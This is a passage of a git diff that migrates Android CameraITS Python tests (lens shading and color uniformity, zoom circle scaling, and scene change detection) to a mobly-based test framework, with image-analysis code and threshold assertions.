-        img: Numpy float image array in RGB, with pixel values in [0,1].
-        texts: list of legends. Each element in the list is a line of legend.
-        text_org: tuple of the bottom left corner of the text position in
-            pixels, horizontal and vertical.
-        font_scale: float number. Font scale of the basic font size.
-        text_offset: text line width in pixels.
-        legend_color: text color in rgb value.
-        line_width: strokes width in pixels.
-    """
-    for text in texts:
-        cv2.putText(img, text, (text_org[0], text_org[1]),
-                    cv2.FONT_HERSHEY_SIMPLEX, font_scale,
-                    legend_color, line_width)
-        text_org[1] += text_offset
+
+def _create_block_center_vals(block_center):
+  """Create lists of x and y values for sub-block centers."""
+  num_sample = int(((1-block_center*2)/_BLOCK_R/2 + 1).item())
+  center_xs = numpy.concatenate(
+      (numpy.arange(block_center, 1-block_center+_BLOCK_R, _BLOCK_R*2),
+       block_center*numpy.ones((num_sample-1)),
+       (1-block_center)*numpy.ones((num_sample-1)),
+       numpy.arange(block_center, 1-block_center+_BLOCK_R, _BLOCK_R*2)))
+  center_ys = numpy.concatenate(
+      (block_center*numpy.ones(num_sample+1),
+       numpy.arange(block_center+_BLOCK_R*2, 1-block_center, _BLOCK_R*2),
+       numpy.arange(block_center+_BLOCK_R*2, 1-block_center, _BLOCK_R*2),
+       (1-block_center)*numpy.ones(num_sample+1)))
+  return zip(center_xs, center_ys)
+
+
+def _assert_results(ls_test_failed, cu_test_failed, center_luma, ls_thresh_h):
+  """Check the lens shading and color uniformity results."""
+  if ls_test_failed:
+    logging.error('Lens shading test summary')
+    logging.error('Center block average Y value: %.3f', center_luma)
+    logging.error('Blocks failed in the lens shading test:')
+    for block in ls_test_failed:
+      top, bottom, left, right = block['position']
+      logging.error('Block[top: %d, bottom: %d, left: %d, right: %d]; '
+                    'avg Y value: %.3f; valid range: %.3f ~ %.3f', top, bottom,
+                    left, right, block['val'], block['thresh_l'], ls_thresh_h)
+  if cu_test_failed:
+    logging.error('Color uniformity test summary')
+    logging.error('Valid color uniformity range: 0 ~ %.2f', _THRESH_UNIFORMITY)
+    logging.error('Areas that failed the color uniformity test:')
+    for rd in cu_test_failed:
+      logging.error('Radius position: %.3f; R/G uniformity: %.3f; B/G '
+                    'uniformity: %.3f', rd['position'], rd['uniformity_r_g'],
+                    rd['uniformity_b_g'])
+  if ls_test_failed:
+    raise AssertionError('Lens shading test failed.')
+  if cu_test_failed:
+    raise AssertionError('Color uniformity test failed.')
+
+
+def _draw_legend(img, texts, text_org, font_scale, text_offset, color,
+                 line_width):
+  """Draw legend on an image.
+
+  Args:
+    img: Numpy float image array in RGB, with pixel values in [0,1].
+    texts: List of legends. Each element in the list is a line of legend.
+    text_org: Tuple of the bottom left corner of the text position in
+              pixels, horizontal and vertical.
+    font_scale: Float number. Font scale of the basic font size.
+    text_offset: Text line width in pixels.
+    color: Text color in rgb value.
+    line_width: Text line width in pixels.
+  """
+  for text in texts:
+    cv2.putText(img, text, (text_org[0], text_org[1]),
+                cv2.FONT_HERSHEY_SIMPLEX, font_scale, color, line_width)
+    text_org[1] += text_offset
+
+
+class LensShadingAndColorUniformityTest(its_base_test.ItsBaseTest):
+  """Test lens shading correction and uniform scene is evenly distributed.
+
+  Test runs with a diffuser (manually) placed in front of the camera.
+  Performs this test on a YUV frame with auto 3A. Lens shading is evaluated
+  based on the Y channel. Measure the average Y value for each sample block
+  specified, and then determine PASS/FAIL by comparing with the center Y value.
+
+  Evaluates the color uniformity in R/G and B/G color space. At specified
+  radius of the image, the variance of R/G and B/G values need to be less than
+  a threshold in order to pass the test.
+  """
+
+  def test_lens_shading_and_color_uniformity(self):
+
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # Check SKIP conditions.
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.ae_lock(props) and
+          camera_properties_utils.awb_lock(props))
+
+      if camera_properties_utils.read_3a(props):
+        # Converge 3A and get the estimates.
+        sens, exp, awb_gains, awb_xform, _ = cam.do_3a(
+            get_results=True, do_af=False, lock_ae=True, lock_awb=True)
+        logging.debug('AE sensitivity: %d, exp: %dms', sens, exp*_NSEC_TO_MSEC)
+        logging.debug('AWB gains: %s', str(awb_gains))
+        logging.debug('AWB transform: %s', str(awb_xform))
+
+      req = capture_request_utils.auto_capture_request()
+      w, h = capture_request_utils.get_available_output_sizes('yuv', props)[0]
+      out_surface = {'format': 'yuv', 'width': w, 'height': h}
+      cap = cam.do_capture(req, out_surface)
+      logging.debug('Captured YUV %dx%d', w, h)
+      # Get Y channel
+      img_y = image_processing_utils.convert_capture_to_planes(cap)[0]
+      image_processing_utils.write_image(img_y, '%s_y_plane.png' %
+                                         (os.path.join(log_path, _NAME)), True)
+      # Convert RGB image & calculate R/G, R/B ratioed images
+      img_rgb = image_processing_utils.convert_capture_to_rgb_image(cap)
+      img_r_g, img_b_g = _calc_color_plane_ratios(img_rgb)
+
+      # Make copies for images with legends and set legend parameters.
+      img_lens_shading = numpy.copy(img_rgb)
+      img_uniformity = numpy.copy(img_rgb)
+      line_width = max(2, int(max(h, w)/500))  # line width of legend
+      font_scale = line_width / 7.0   # font scale of the basic font size
+      font_line_width = int(line_width/2)
+      text_height = cv2.getTextSize('gf', cv2.FONT_HERSHEY_SIMPLEX,
+                                    font_scale, line_width)[0][1]
+      text_offset = int(text_height*1.5)
+
+      # Calculate center block average Y, R/G, and B/G values.
+      top = int((0.5-_BLOCK_R)*h)
+      bottom = int((0.5+_BLOCK_R)*h)
+      left = int((0.5-_BLOCK_R)*w)
+      right = int((0.5+_BLOCK_R)*w)
+      center_luma = numpy.mean(img_y[top:bottom, left:right])
+      center_r_g = numpy.mean(img_r_g[top:bottom, left:right])
+      center_b_g = numpy.mean(img_b_g[top:bottom, left:right])
+
+      # Add center patch legend to lens shading and color uniformity images
+      cv2.rectangle(img_lens_shading, (left, top), (right, bottom), _CV2_GREEN,
+                    line_width)
+      _draw_legend(img_lens_shading, [f'Y: {center_luma}:.2f'],
+                   [left+text_offset, bottom-text_offset],
+                   font_scale, text_offset, _CV2_GREEN, font_line_width)
+
+      cv2.rectangle(img_uniformity, (left, top), (right, bottom), _CV2_GREEN,
+                    line_width)
+      _draw_legend(img_uniformity,
+                   [f'R/G: {center_r_g}:.2f', f'B/G: {center_b_g}:.2f'],
+                   [left+text_offset, bottom-text_offset*2],
+                   font_scale, text_offset, _CV2_GREEN, font_line_width)
+
+      # Evaluate Y, R/G, and B/G for each block
+      ls_test_failed = []
+      cu_test_failed = []
+      ls_thresh_h = center_luma * (1 + _THRESH_SHADING_HIGH)
+      dist_max = math.sqrt(pow(w, 2)+pow(h, 2))/2
+      for position in _BLOCK_POSITION_LIST:
+        # Create sample block centers' positions in all directions around center
+        block_centers = _create_block_center_vals(position)
+
+        blocks_info = []
+        max_r_g = 0
+        min_r_g = float('inf')
+        max_b_g = 0
+        min_b_g = float('inf')
+        for block_center_x, block_center_y in block_centers:
+          top = int((block_center_y-_BLOCK_R)*h)
+          bottom = int((block_center_y+_BLOCK_R)*h)
+          left = int((block_center_x-_BLOCK_R)*w)
+          right = int((block_center_x+_BLOCK_R)*w)
+
+          # Compute block average values and running mins and maxes
+          block_y = numpy.mean(img_y[top:bottom, left:right])
+          block_r_g = numpy.mean(img_r_g[top:bottom, left:right])
+          block_b_g = numpy.mean(img_b_g[top:bottom, left:right])
+          max_r_g = max(max_r_g, block_r_g)
+          min_r_g = min(min_r_g, block_r_g)
+          max_b_g = max(max_b_g, block_b_g)
+          min_b_g = min(min_b_g, block_b_g)
+          blocks_info.append({'position': [top, bottom, left, right],
+                              'block_r_g': block_r_g,
+                              'block_b_g': block_b_g})
+          # Check lens shading
+          ls_thresh_l = _calc_block_lens_shading_thresh_l(
+              block_center_x, block_center_y, center_luma, w, h, dist_max)
+
+          if not ls_thresh_h > block_y > ls_thresh_l:
+            ls_test_failed.append({'position': [top, bottom, left, right],
+                                   'val': block_y,
+                                   'thresh_l': ls_thresh_l})
+            legend_color = _CV2_RED
+          else:
+            legend_color = _CV2_GREEN
+
+          # Overlay legend rectangle on lens shading image.
+          text_bottom = bottom - text_offset
+          cv2.rectangle(img_lens_shading, (left, top), (right, bottom),
+                        legend_color, line_width)
+          _draw_legend(img_lens_shading, ['Y: %.2f' % block_y],
+                       [left+text_offset, text_bottom], font_scale,
+                       text_offset, legend_color, int(line_width/2))
+
+        # Check color uniformity
+        uniformity_r_g = (max_r_g-min_r_g) / center_r_g
+        uniformity_b_g = (max_b_g-min_b_g) / center_b_g
+        if (uniformity_r_g > _THRESH_UNIFORMITY or
+            uniformity_b_g > _THRESH_UNIFORMITY):
+          cu_test_failed.append({'position': position,
+                                 'uniformity_r_g': uniformity_r_g,
+                                 'uniformity_b_g': uniformity_b_g})
+          legend_color = _CV2_RED
+        else:
+          legend_color = _CV2_GREEN
+
+        # Overlay legend blocks on uniformity image based on PASS/FAIL above.
+        for block in blocks_info:
+          top, bottom, left, right = block['position']
+          cv2.rectangle(img_uniformity, (left, top), (right, bottom),
+                        legend_color, line_width)
+          texts = ['R/G: %.2f' % block['block_r_g'],
+                   'B/G: %.2f' % block['block_b_g']]
+          text_bottom = bottom - text_offset * 2
+          _draw_legend(img_uniformity, texts,
+                       [left+text_offset, text_bottom], font_scale,
+                       text_offset, legend_color, font_line_width)
+
+      # Save images
+      image_processing_utils.write_image(
+          img_uniformity, '%s_color_uniformity_result.png' %
+          (os.path.join(log_path, _NAME)), True)
+      image_processing_utils.write_image(
+          img_lens_shading, '%s_lens_shading_result.png' %
+          (os.path.join(log_path, _NAME)), True)
+
+      # Assert results
+      _assert_results(ls_test_failed, cu_test_failed, center_luma, ls_thresh_h)
 
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene6/test_zoom.py b/apps/CameraITS/tests/scene6/test_zoom.py
index f93d6d6..8b32057 100644
--- a/apps/CameraITS/tests/scene6/test_zoom.py
+++ b/apps/CameraITS/tests/scene6/test_zoom.py
@@ -11,229 +11,234 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verify zoom ratio scales circle sizes correctly."""
 
+
+import logging
 import math
 import os.path
-import cv2
-
-import its.caps
-import its.cv2image
-import its.device
-import its.image
-import its.objects
-
+from mobly import test_runner
 import numpy as np
 
+import cv2
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import opencv_processing_utils
+
 CIRCLE_COLOR = 0  # [0: black, 255: white]
 CIRCLE_TOL = 0.05  # contour area vs ideal circle area pi*((w+h)/4)**2
 LINE_COLOR = (255, 0, 0)  # red
 LINE_THICKNESS = 5
 MIN_AREA_RATIO = 0.00015  # based on 2000/(4000x3000) pixels
 MIN_CIRCLE_PTS = 25
-NAME = os.path.basename(__file__).split('.')[0]
+NAME = os.path.splitext(os.path.basename(__file__))[0]
 NUM_STEPS = 10
-OFFSET_RTOL = 0.10
+OFFSET_RTOL = 0.15
 RADIUS_RTOL = 0.10
 ZOOM_MAX_THRESH = 10.0
 ZOOM_MIN_THRESH = 2.0
 
 
-def distance((x, y)):
-    return math.sqrt(x**2 + y**2)
+def distance(x, y):
+  return math.sqrt(x**2 + y**2)
 
 
 def circle_cropped(circle, size):
-    """Determine if a circle is cropped by edge of img.
+  """Determine if a circle is cropped by edge of img.
 
-    Args:
-        circle:         list; [x, y, radius] of circle
-        size:           tuple; [x, y] size of img
+  Args:
+    circle:  list [x, y, radius] of circle
+    size:    tuple (x, y) of size of img
 
-    Returns:
-        Boolean True if selected circle is cropped
-    """
+  Returns:
+    Boolean True if selected circle is cropped
+  """
 
-    cropped = False
-    circle_x, circle_y = circle[0], circle[1]
-    circle_r = circle[2]
-    x_min, x_max = circle_x - circle_r, circle_x + circle_r
-    y_min, y_max = circle_y - circle_r, circle_y + circle_r
-    if x_min < 0 or y_min < 0 or x_max > size[0] or y_max > size[1]:
-        cropped = True
-    return cropped
+  cropped = False
+  circle_x, circle_y = circle[0], circle[1]
+  circle_r = circle[2]
+  x_min, x_max = circle_x - circle_r, circle_x + circle_r
+  y_min, y_max = circle_y - circle_r, circle_y + circle_r
+  if x_min < 0 or y_min < 0 or x_max > size[0] or y_max > size[1]:
+    cropped = True
+  return cropped
 
 
-def find_center_circle(img, name, color, min_area, debug):
-    """Find the circle closest to the center of the image.
+def find_center_circle(img, img_name, color, min_area, debug):
+  """Find the circle closest to the center of the image.
 
-    Finds all contours in the image. Rejects those too small and not enough
-    points to qualify as a circle. The remaining contours must have center
-    point of color=color and are sorted based on distance from the center
-    of the image. The contour closest to the center of the image is returned.
+  Finds all contours in the image. Rejects those too small and not enough
+  points to qualify as a circle. The remaining contours must have center
+  point of color=color and are sorted based on distance from the center
+  of the image. The contour closest to the center of the image is returned.
 
-    Note: hierarchy is not used as the hierarchy for black circles changes
-    as the zoom level changes.
+  Note: hierarchy is not used as the hierarchy for black circles changes
+  as the zoom level changes.
 
-    Args:
-        img:            numpy img array with pixel values in [0,255].
-        name:           str; file name
-        color:          int; 0: black, 255: white
-        min_area:       int; minimum area of circles to screen out
-        debug:          bool; save extra data
+  Args:
+    img:       numpy img array with pixel values in [0,255].
+    img_name:  str file name for saved image
+    color:     int 0 --> black, 255 --> white
+    min_area:  int minimum area of circles to screen out
+    debug:     bool to save extra data
 
-    Returns:
-        circle:         [center_x, center_y, radius]
-    """
+  Returns:
+    circle:    [center_x, center_y, radius]
+  """
 
-    # gray scale & otsu threshold to binarize the image
-    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
-    _, img_bw = cv2.threshold(np.uint8(gray), 0, 255,
-                              cv2.THRESH_BINARY + cv2.THRESH_OTSU)
+  # gray scale & otsu threshold to binarize the image
+  gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
+  _, img_bw = cv2.threshold(
+      np.uint8(gray), 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)
 
-    # use OpenCV to find contours (connected components)
-    cv2_version = cv2.__version__
-    if cv2_version.startswith('3.'): # OpenCV 3.x
-        _, contours, _ = cv2.findContours(
-                255-img_bw, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
-    else: # OpenCV 2.x and 4.x
-        contours, _ = cv2.findContours(
-                255-img_bw, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
+  # use OpenCV to find contours (connected components)
+  _, contours, _ = cv2.findContours(255 - img_bw, cv2.RETR_TREE,
+                                    cv2.CHAIN_APPROX_SIMPLE)
 
-    # check contours and find the best circle candidates
-    circles = []
-    img_ctr = [gray.shape[1]/2, gray.shape[0]/2]
-    for contour in contours:
-        area = cv2.contourArea(contour)
-        if area > min_area and len(contour) >= MIN_CIRCLE_PTS:
-            shape = its.cv2image.component_shape(contour)
-            radius = (shape['width'] + shape['height']) / 4
-            colour = img_bw[shape['cty']][shape['ctx']]
-            circlish = round((math.pi * radius**2) / area, 4)
-            if colour == color and (1-CIRCLE_TOL <= circlish <= 1+CIRCLE_TOL):
-                circles.append([shape['ctx'], shape['cty'], radius, circlish,
-                                area])
+  # check contours and find the best circle candidates
+  circles = []
+  img_ctr = [gray.shape[1] // 2, gray.shape[0] // 2]
+  for contour in contours:
+    area = cv2.contourArea(contour)
+    if area > min_area and len(contour) >= MIN_CIRCLE_PTS:
+      shape = opencv_processing_utils.component_shape(contour)
+      radius = (shape['width'] + shape['height']) / 4
+      colour = img_bw[shape['cty']][shape['ctx']]
+      circlish = round((math.pi * radius**2) / area, 4)
+      if colour == color and (1 - CIRCLE_TOL <= circlish <= 1 + CIRCLE_TOL):
+        circles.append([shape['ctx'], shape['cty'], radius, circlish, area])
 
-    if debug:
-        circles.sort(key=lambda x: abs(x[3]-1.0))  # sort for best circles
-        print 'circles [x, y, r, pi*r**2/area, area]:', circles
+  if debug == 'true':
+    circles.sort(key=lambda x: abs(x[3] - 1.0))  # sort for best circles
+    logging.debug('circles [x, y, r, pi*r**2/area, area]: %s', str(circles))
 
-    # find circle closest to center
-    circles.sort(key=lambda x: distance((x[0]-img_ctr[0], x[1]-img_ctr[1])))
-    circle = circles[0]
+  # find circle closest to center
+  circles.sort(key=lambda x: distance(x[0] - img_ctr[0], x[1] - img_ctr[1]))
+  circle = circles[0]
 
-    # mark image center
-    size = gray.shape
-    m_x, m_y = size[1]/2, size[0]/2
-    marker_size = LINE_THICKNESS * 10
-    if cv2_version.startswith('2.4.'):
-        cv2.line(img, (m_x-marker_size/2, m_y), (m_x+marker_size/2, m_y),
-                 LINE_COLOR, LINE_THICKNESS)
-        cv2.line(img, (m_x, m_y-marker_size/2), (m_x, m_y+marker_size/2),
-                 LINE_COLOR, LINE_THICKNESS)
-    elif cv2_version.startswith('3.2.'):
-        cv2.drawMarker(img, (m_x, m_y), LINE_COLOR,
-                       markerType=cv2.MARKER_CROSS,
-                       markerSize=marker_size,
-                       thickness=LINE_THICKNESS)
+  # mark image center
+  size = gray.shape
+  m_x, m_y = size[1] // 2, size[0] // 2
+  marker_size = LINE_THICKNESS * 10
+  cv2.drawMarker(img, (m_x, m_y), LINE_COLOR, markerType=cv2.MARKER_CROSS,
+                 markerSize=marker_size, thickness=LINE_THICKNESS)
 
-    # add circle to saved image
-    center_i = (int(round(circle[0], 0)), int(round(circle[1], 0)))
-    radius_i = int(round(circle[2], 0))
-    cv2.circle(img, center_i, radius_i, LINE_COLOR, LINE_THICKNESS)
-    its.image.write_image(img/255.0, name)
+  # add circle to saved image
+  center_i = (int(round(circle[0], 0)), int(round(circle[1], 0)))
+  radius_i = int(round(circle[2], 0))
+  cv2.circle(img, center_i, radius_i, LINE_COLOR, LINE_THICKNESS)
+  image_processing_utils.write_image(img / 255.0, img_name)
 
-    if not circles:
-        print 'No circle was detected. Please take pictures according',
-        print 'to instruction carefully!\n'
-        assert False
+  if not circles:
+    raise AssertionError('No circle was detected. Please take pictures '
+                         'according to instructions carefully!')
 
-    return [circle[0], circle[1], circle[2]]
+  return [circle[0], circle[1], circle[2]]
 
 
-def main():
-    """Test the camera zoom behavior."""
+class ZoomTest(its_base_test.ItsBaseTest):
+  """Test the camera zoom behavior.
+  """
 
+  def test_zoom(self):
     z_test_list = []
     fls = []
     circles = []
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.zoom_ratio_range(props))
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.zoom_ratio_range(props))
 
-        z_range = props['android.control.zoomRatioRange']
-        print 'testing zoomRatioRange:', z_range
-        yuv_size = its.objects.get_largest_yuv_format(props)
-        size = [yuv_size['width'], yuv_size['height']]
-        debug = its.caps.debug_mode()
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        z_min, z_max = float(z_range[0]), float(z_range[1])
-        its.caps.skip_unless(z_max >= z_min*ZOOM_MIN_THRESH)
-        z_list = np.arange(z_min, z_max, float(z_max-z_min)/(NUM_STEPS-1))
-        z_list = np.append(z_list, z_max)
+      z_range = props['android.control.zoomRatioRange']
+      logging.debug('testing zoomRatioRange: %s', str(z_range))
+      yuv_size = capture_request_utils.get_largest_yuv_format(props)
+      size = [yuv_size['width'], yuv_size['height']]
+      debug = self.debug_mode
 
-        # do captures over zoom range
-        req = its.objects.auto_capture_request()
-        for i, z in enumerate(z_list):
-            print 'zoom ratio: %.2f' % z
-            req['android.control.zoomRatio'] = z
-            cap = cam.do_capture(req, cam.CAP_YUV)
-            img = its.image.convert_capture_to_rgb_image(cap, props=props)
+      z_min, z_max = float(z_range[0]), float(z_range[1])
+      camera_properties_utils.skip_unless(z_max >= z_min * ZOOM_MIN_THRESH)
+      z_list = np.arange(z_min, z_max, float(z_max - z_min) / (NUM_STEPS - 1))
+      z_list = np.append(z_list, z_max)
 
-            # convert to [0, 255] images with unsigned integer
-            img *= 255
-            img = img.astype(np.uint8)
+      # do captures over zoom range and find circles with cv2
+      logging.debug('cv2_version: %s', cv2.__version__)
+      req = capture_request_utils.auto_capture_request()
+      for i, z in enumerate(z_list):
+        logging.debug('zoom ratio: %.2f', z)
+        req['android.control.zoomRatio'] = z
+        cap = cam.do_capture(req, cam.CAP_YUV)
+        img = image_processing_utils.convert_capture_to_rgb_image(
+            cap, props=props)
+        img_name = '%s_%s.jpg' % (os.path.join(self.log_path,
+                                               NAME), round(z, 2))
+        image_processing_utils.write_image(img, img_name)
 
-            # Find the circles in img
-            circle = find_center_circle(
-                    img, '%s_%s.jpg' % (NAME, round(z, 2)), CIRCLE_COLOR,
-                    min_area=MIN_AREA_RATIO*size[0]*size[1]*z*z, debug=debug)
-            if circle_cropped(circle, size):
-                print 'zoom %.2f is too large! Skip further captures' % z
-                break
-            circles.append(circle)
-            z_test_list.append(z)
-            fls.append(cap['metadata']['android.lens.focalLength'])
+        # convert to [0, 255] images with unsigned integer
+        img *= 255
+        img = img.astype(np.uint8)
+
+        # Find the center circle in img
+        circle = find_center_circle(
+            img, img_name, CIRCLE_COLOR,
+            min_area=MIN_AREA_RATIO * size[0] * size[1] * z * z,
+            debug=debug)
+        if circle_cropped(circle, size):
+          logging.debug('zoom %.2f is too large! Skip further captures', z)
+          break
+        circles.append(circle)
+        z_test_list.append(z)
+        fls.append(cap['metadata']['android.lens.focalLength'])
 
     # assert some range is tested before circles get too big
     zoom_max_thresh = ZOOM_MAX_THRESH
     if z_max < ZOOM_MAX_THRESH:
-        zoom_max_thresh = z_max
-    msg = 'Max zoom level tested: %d, THRESH: %d' % (
-            z_test_list[-1], zoom_max_thresh)
-    assert z_test_list[-1] >= zoom_max_thresh, msg
+      zoom_max_thresh = z_max
+    if z_test_list[-1] < zoom_max_thresh:
+      raise AssertionError(f'Max zoom level tested: {z_test_list[-1]}, '
+                           f'THRESH: {zoom_max_thresh}')
 
     # initialize relative size w/ zoom[0] for diff zoom ratio checks
     radius_0 = float(circles[0][2])
     z_0 = float(z_test_list[0])
 
     for i, z in enumerate(z_test_list):
-        print '\nZoom: %.2f, fl: %.2f' % (z, fls[i])
-        offset_abs = ((circles[i][0] - size[0]/2), (circles[i][1] - size[1]/2))
-        print 'Circle r: %.1f, center offset x, y: %d, %d' % (
-                circles[i][2], offset_abs[0], offset_abs[1])
-        z_ratio = z / z_0
+      logging.debug('Zoom: %.2f, fl: %.2f', z, fls[i])
+      offset_abs = [(circles[i][0] - size[0] // 2),
+                    (circles[i][1] - size[1] // 2)]
+      logging.debug('Circle r: %.1f, center offset x, y: %d, %d', circles[i][2],
+                    offset_abs[0], offset_abs[1])
+      z_ratio = z / z_0
 
-        # check relative size against zoom[0]
-        radius_ratio = circles[i][2]/radius_0
-        print 'radius_ratio: %.3f' % radius_ratio
-        msg = 'zoom: %.2f, radius ratio: %.2f, RTOL: %.2f' % (
-                z_ratio, radius_ratio, RADIUS_RTOL)
-        assert np.isclose(z_ratio, radius_ratio, rtol=RADIUS_RTOL), msg
+      # check relative size against zoom[0]
+      radius_ratio = circles[i][2] / radius_0
+      logging.debug('r ratio req: %.3f, measured: %.3f', z_ratio, radius_ratio)
+      if not np.isclose(z_ratio, radius_ratio, rtol=RADIUS_RTOL):
+        raise AssertionError(f'zoom: {z_ratio:.2f}, radius ratio: '
+                             f'{radius_ratio:.2f}, RTOL: {RADIUS_RTOL}')
 
-        # check relative offset against init vals w/ no focal length change
-        if i == 0 or fls[i-1] != fls[i]:  # set init values
-            z_init = float(z_test_list[i])
-            offset_init = (circles[i][0] - size[0] / 2,
-                           circles[i][1] - size[1] / 2)
-        else:  # check
-            z_ratio = z / z_init
-            offset_rel = (distance(offset_abs) / z_ratio /
-                          distance(offset_init))
-            print 'offset_rel: %.3f' % offset_rel
-            msg = 'zoom: %.2f, offset(rel): %.2f, RTOL: %.2f' % (
-                    z, offset_rel, OFFSET_RTOL)
-            assert np.isclose(offset_rel, 1.0, rtol=OFFSET_RTOL), msg
-
+      # check relative offset against init vals w/ no focal length change
+      if i == 0 or fls[i - 1] != fls[i]:  # set init values
+        z_init = float(z_test_list[i])
+        offset_init = [circles[i][0] - size[0]//2, circles[i][1] - size[1]//2]
+      else:  # check
+        z_ratio = z / z_init
+        offset_rel = (distance(offset_abs[0], offset_abs[1]) / z_ratio /
+                      distance(offset_init[0], offset_init[1]))
+        logging.debug('offset_rel: %.3f', offset_rel)
+        if not np.isclose(offset_rel, 1.0, rtol=OFFSET_RTOL):
+          raise AssertionError(f'zoom: {z:.2f}, offset(rel): {offset_rel:.4f}, '
+                               f'RTOL: {OFFSET_RTOL}')
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene_change/test_scene_change.py b/apps/CameraITS/tests/scene_change/test_scene_change.py
index 914b0af..9a8b262 100644
--- a/apps/CameraITS/tests/scene_change/test_scene_change.py
+++ b/apps/CameraITS/tests/scene_change/test_scene_change.py
@@ -11,207 +11,233 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verify that the android.control.afSceneChange asserted on scene change."""
 
+
+import logging
 import multiprocessing
 import os.path
-import subprocess
-import sys
 import time
-import its.caps
-import its.device
-import its.image
-import its.objects
 
-BRIGHT_CHANGE_TOL = 0.2
-CONTINUOUS_PICTURE_MODE = 4
-CONVERGED_3A = [2, 2, 2]  # [AE, AF, AWB]
-# AE_STATES: {0: INACTIVE, 1: SEARCHING, 2: CONVERGED, 3: LOCKED,
-#             4: FLASH_REQ, 5: PRECAPTURE}
-# AF_STATES: {0: INACTIVE, 1: PASSIVE_SCAN, 2: PASSIVE_FOCUSED,
-#             3: ACTIVE_SCAN, 4: FOCUS_LOCKED, 5: NOT_FOCUSED_LOCKED,
-#             6: PASSIVE_UNFOCUSED}
-# AWB_STATES: {0: INACTIVE, 1: SEARCHING, 2: CONVERGED, 3: LOCKED}
-DELAY_CAPTURE = 1.5  # delay in first capture to sync events (sec)
-DELAY_DISPLAY = 3.0  # time when display turns OFF (sec)
-FPS = 30
-FRAME_SHIFT = 5.0  # number of frames to shift to try and find scene change
-NAME = os.path.basename(__file__).split('.')[0]
-NUM_BURSTS = 6
-NUM_FRAMES = 50
-W, H = 640, 480
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import scene_change_utils
+
+_BRIGHT_CHANGE_TOL = 0.2
+_CONTINUOUS_PICTURE_MODE = 4
+_CONVERGED_3A = (2, 2, 2)  # (AE, AF, AWB)
+_DELAY_CAPTURE = 1.5  # Delay in first capture to sync events (sec).
+_DELAY_DISPLAY = 3.0  # Time when display turns OFF (sec).
+_FPS = 30  # Frames Per Second
+_M_TO_CM = 100
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NSEC_TO_MSEC = 1E-6
+_NUM_TRIES = 6
+_NUM_FRAMES = 50
+_PATCH_H = 0.1  # Center 10%.
+_PATCH_W = 0.1
+_PATCH_X = 0.5 - _PATCH_W/2
+_PATCH_Y = 0.5 - _PATCH_H/2
+_RGB_G_CH = 1
+_SCENE_CHANGE_FLAG_TRUE = 1
+_VALID_SCENE_CHANGE_VALS = (0, 1)
+_VGA_W, _VGA_H = 640, 480
 
 
-def get_cmd_line_args():
-    chart_host_id = None
-    for s in list(sys.argv[1:]):
-        if s[:6] == 'chart=' and len(s) > 6:
-            chart_host_id = s[6:]
-    return chart_host_id
-
-
-def mask_3a_settling_frames(cap_data):
-    converged_frame = -1
-    for i, cap in enumerate(cap_data):
-        if cap['3a_state'] == CONVERGED_3A:
-            converged_frame = i
-            break
-    print 'Frames index where 3A converges: %d' % converged_frame
-    return converged_frame
+def find_3a_converged_frame(cap_data):
+  converged_frame = -1
+  for i, cap in enumerate(cap_data):
+    if cap['3a_state'] == _CONVERGED_3A:
+      converged_frame = i
+      break
+  logging.debug('Frame index where 3A converges: %d', converged_frame)
+  return converged_frame
 
 
 def determine_if_scene_changed(cap_data, converged_frame):
-    scene_changed = False
-    bright_changed = False
-    start_frame_brightness = cap_data[0]['avg']
-    for i in range(converged_frame, len(cap_data)):
-        if cap_data[i]['avg'] <= (
-                start_frame_brightness * (1.0 - BRIGHT_CHANGE_TOL)):
-            bright_changed = True
-        if cap_data[i]['flag'] == 1:
-            scene_changed = True
-    return scene_changed, bright_changed
+  """Determine if the scene has changed during captures.
+
+  Args:
+    cap_data: Camera capture object.
+    converged_frame: Integer indicating when 3A converged.
+
+  Returns:
+    A 2-tuple of booleans where the first is for AF scene change flag asserted
+    and the second is for whether brightness in images changed.
+  """
+  scene_change_flag = False
+  bright_change_flag = False
+  start_frame_brightness = cap_data[0]['avg']
+  for i in range(converged_frame, len(cap_data)):
+    if cap_data[i]['avg'] <= (
+        start_frame_brightness * (1.0 - _BRIGHT_CHANGE_TOL)):
+      bright_change_flag = True
+    if cap_data[i]['flag'] == _SCENE_CHANGE_FLAG_TRUE:
+      scene_change_flag = True
+  return scene_change_flag, bright_change_flag
 
 
-def toggle_screen(chart_host_id, state, delay):
-    t0 = time.time()
-    screen_id_arg = ('screen=%s' % chart_host_id)
-    state_id_arg = 'state=%s' % state
-    delay_arg = 'delay=%.3f' % delay
-    cmd = ['python', os.path.join(os.environ['CAMERA_ITS_TOP'], 'tools',
-                                  'toggle_screen.py'), screen_id_arg,
-           state_id_arg, delay_arg]
